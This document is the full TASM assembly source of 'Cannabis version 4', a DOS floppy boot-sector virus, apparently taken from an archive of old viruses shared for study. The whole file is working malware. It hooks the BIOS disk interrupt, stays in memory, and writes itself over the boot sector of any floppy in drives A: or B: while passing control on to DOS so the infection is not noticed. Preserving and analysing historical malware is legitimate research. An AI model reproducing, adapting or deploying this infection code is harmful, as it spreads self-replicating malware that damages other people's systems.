cannab4.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;****************************************************************************
;*  Cannabis    version 4
;*
;*  Compile with TASM 2.0
;*  (other assemblers will probably not produce the same result)
;*
;*  Disclaimer:
;*  This file is only for educational purposes. The author takes no
;*  responsibility for anything anyone does with this file. Do not
;*  modify this file!
;****************************************************************************

cseg            segment
                assume  cs:cseg,ds:cseg,es:nothing

                .RADIX  16

BASE            equ     7C00

                org     0

begin:          jmp     start

                org     3

                db      'CANNABIS'              ;BIOS parameter block
                dw      0200
                db      2
                dw      1
                db      2
                dw      112d
                dw      720d
                db      0FDh
                dw      2
                dw      9
                dw      2
                dw      0

                org     3E

start:          cld                             ;initialise segments + stack
                cli
                xor     ax,ax
                mov     ss,ax
                mov     ds,ax
                mov     sp,7C00

                mov     bx,offset ni13+BASE     ;check int13 vector
                mov     ax,ds:[4*13]
                cmp     ax,bx
                je      installed

                mov     ds:[oi13+BASE],ax       ;save old vector
                mov     ax,ds:[4*13+2]
                mov     di,400
                mov     ds:[oi13+2+BASE],ax

                mov     ax,ds:[di+13]
                dec     ax
                mov     cl,6
                mov     ds:[di+13],ax

                shl     ax,cl
                sub     ax,07C0

                mov     cx,0200                 ;copy virus to top
                mov     di,sp
                mov     es,ax
                mov     si,sp
        rep     movsb

                mov     ds:[4*13+2],es          ;set new vector
                mov     ds:[4*13],bx

installed:      xor     ax,ax
                push    ss
                pop     es
                mov     bx,0078
                lds     si,ss:[bx]              ;ds:si = int 1E (=table ptr)
                push    ds
                push    si
                push    ss
                push    bx
                mov     cx,0bh
                mov     di,7C3Eh                ;move table -> ds:7C3E
        rep     movsb
                push    es
                pop     ds
                mov     cx,ds:[7C18]
                mov     byte ptr [di-2], 0fh
                mov     [bx+2],ax
                mov     [di-7],cl

                mov     word ptr [bx],7C3E
                sti
                int     13                      ;reset disk
                jc      error
                mov     cx,ds:[7C13]            ;number of sectors
                mov     ds:[7C20],cx
                mov     ax,ds:[7C16]            ;calculate root-entry (FAT)
                shl     ax,1
                inc     ax
                mov     ds:[7C49],ax            ;save value
                mov     ds:[7C50],ax

                mov     ax,ds:[7C11]            ;calculate IO.SYS entry
                mov     cl,4
                shr     ax,cl
                add     ds:[7C49],ax

                mov     ax,ds:[7C50]
                mov     bx,0500
                call    readsector
                jc      error
                cmp     word ptr [bx], 'OI'     ;IO.SYS ?
                jne     ibmtest
                cmp     word ptr [bx+20], 'SM'  ;MSDOS.SYS ?
                je      continue
                jmp     short error

ibmtest:        cmp     word ptr [bx], 'BI'     ;IBMBIO.COM ?
                jne     error
                cmp     word ptr [bx+20], 'BI'  ;IBMDOS.COM ?
                je      continue

error:          mov     si,offset errortxt+BASE   ;print error-message
                call    print
                xor     ax,ax
                int     16                      ;wait for keypress
                pop     si                      ;restore int 1E vector
                pop     ds
                pop     [si]
                pop     [si+2]
                int     19                      ;boot again...

continue:       mov     cx,3                    ;at ds:0700
                mov     bx,0700
                mov     ax,ds:[7C49]            

nextsec:        call    readsector
                jc      error
                add     bx,0200
                inc     ax
                loop    nextsec

                mov     dl,0
                mov     ch,ds:[7C15]            ;go to begin IO.SYS
                mov     bx,ds:[7C49]
                mov     ax,0
                db      0EA, 0, 0, 70, 0


;****************************************************************************
;*              Read a sector
;****************************************************************************

readsector:     push    cx
                push    ax

                div     byte ptr ds:[7C18]      ;al=sec/9 (0-160) ah=sec. (0-8)
                cwd
                inc     ah                      ;ah=1-9 (sector)
                shr     al,1                    ;al=0-80 (track)
                adc     dh,0                    ;dh=0/1 (head) dl=0 (drive)
                xchg    ah,al
                mov     cx,0201
                xchg    ax,cx
                int     13

                pop     ax
                pop     cx
return:         ret


;****************************************************************************
;*              Print message
;****************************************************************************

print:          lodsb
                or      al,al
                jz      return
                mov     ah,0Eh
                mov     bx,7
                int     10
                jmp     short print


;****************************************************************************
;*              Int 13 handler
;****************************************************************************

ni13:           push    ax
                push    ds
                cmp     ah,4                    ;funktion 0-4?
                ja      cancel
                cmp     ch,1
                ja      cancel
                test    dx,0FFFEh               ;drive A: or B: ? (head=0)
                jnz     cancel
                xor     ax,ax
                mov     ds,ax

infect:         push    cx
                push    bx
                push    di
                push    si
                push    es
                mov     ax,0201                 ;read bootsector at 7E00
                mov     bx,7E00
                mov     cx,1
                push    cs
                push    cs
                pop     ds
                pop     es
                pushf
                push    cs
                call    orgint13
                jc      exit

                mov     di,7C0Bh                ;move BPB to virus
                mov     cl,33
                mov     si,7E0Bh
        rep     movsb

                mov     ax,0301                 ;write virus to boot-sector
                mov     bx,7C00
                mov     cx,1
                pushf   
                push    cs
                call    orgint13

exit:           pop     es
                pop     si
                pop     di
                pop     bx
                pop     cx

cancel:         pop     ds
                pop     ax
orgint13:       jmp     dword ptr cs:[oi13+BASE]   ;original vector


;****************************************************************************
;*              Data
;****************************************************************************

oi13            dw      ?,?                     ;original int 13 vector

errortxt        db      0Dh, 0Ah, 'Non-System disk or disk error'
                db      0Dh, 0Ah, 'Replace and press a key when ready'
                db      0Dh, 0Ah, 0

        
                org     01FEh

                db      55, 0AA

cseg            ends
                end     begin

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